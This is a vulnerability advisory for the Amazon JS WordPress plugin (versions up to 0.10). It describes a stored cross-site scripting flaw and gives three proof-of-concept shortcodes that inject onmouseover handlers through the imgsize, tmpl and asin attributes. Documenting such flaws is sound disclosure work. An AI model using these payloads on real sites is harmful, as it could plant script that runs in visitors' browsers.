WordPress Plugin Vulnerabilities

Amazon JS <= 0.10 - Contributor+ Stored XSS

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[amazonjs asin='XSS' imgsize='" onmouseover="alert(/XSS/)" style="background:red;width:100px;height:100px;"']

[amazonjs asin='XSS' tmpl='"onmouseover="alert(/XSS/)//']

[amazonjs asin='"onmouseover="alert(/XSS/)//']
